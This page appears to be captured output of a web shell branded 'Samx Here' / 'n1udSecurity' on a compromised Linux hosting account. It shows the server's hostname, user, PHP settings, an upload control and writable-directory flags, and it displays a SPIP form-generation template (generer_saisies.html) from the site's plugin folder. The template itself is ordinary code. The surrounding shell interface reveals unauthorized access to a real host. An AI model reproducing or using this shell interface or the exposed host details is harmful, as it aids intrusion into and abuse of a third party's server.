Samx Here
n1udSecurity


Server : Apache
System : Linux webd348.cluster026.gra.hosting.ovh.net 5.15.148-ovh-vps-grsec-zfs-classid #1 SMP Thu Feb 8 09:41:04 UTC 2024 x86_64
User : hednacluml ( 122243)
PHP Version : 8.3.9
Disable Function : _dyuweyrj4,_dyuweyrj4r,dl
Directory :  /home/hednacluml/univers/plugins/auto/saisies/inclure/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/hednacluml/univers/plugins/auto/saisies/inclure/generer_saisies.html
[(#REM)

  Génère le contenu (l'intérieur) d'un formulaire, à partir d'une description dans un tableau PHP.
  Le tableau doit être de la forme suivante :

  // Chaque ligne est elle-même un tableau
  array(
  	// Ligne de type "explication"
  	array(
  		'explication' => 'Ceci est un bloc d'explication général.'
  	),
  	// Ligne classique, cad un champ de formulaire
  	array(
  		'saisie' => 'input',
  		'options => array(
  			'nom' => 'mon_champ',
  			'label' => 'Un joli titre',
  			'obligatoire' => 'oui'
  		)
  	),
  	// Ligne contenant un fieldset
  	array(
  		'groupe' => 'Ceci est le titre du groupe de champs (fieldset)',
  		'css' => 'eventuelles classes css',
  		'contenu' => array(
  			// On recommence ici suivant le même formalisme que le tableau général.
  		)
  	)
  )


  Exemples d'appels :
    # INCLURE{fond=inclure/generer_saisies, env, saisies=#ENV{tableau}}

]

[(#SET{saisies, #ENV*{saisies}})]

[(#REM) sécurité sur l'appel : chercher les saisies dans l'étape courante, on test #ENV{_env} pour ne pas chercher des étapes au sein d'une étape, sinon ca tourne en rond !]
[(#ENV{_etape}|oui)
	[(#ENV{_env}|non)
		#SET{saisies_par_etapes, #ENV*{saisies_par_etapes}|sinon{#ENV*{_saisies_par_etapes}}|sinon{#ENV*{saisies}|saisies_lister_par_etapes}}
		#SET{saisies, #GET{saisies_par_etapes/etape_#ENV{_etape}/saisies}}
	]
]

<BOUCLE_contenu(DATA){source tableau, #GET{saisies}}>
[(#VAL{saisie}|array_key_exists{#VALEUR}|oui)
[(#VALEUR**|saisies_generer_html{#ENV{_env}|sinon{#ENV**|unserialize}})]
]
</BOUCLE_contenu>

SAMX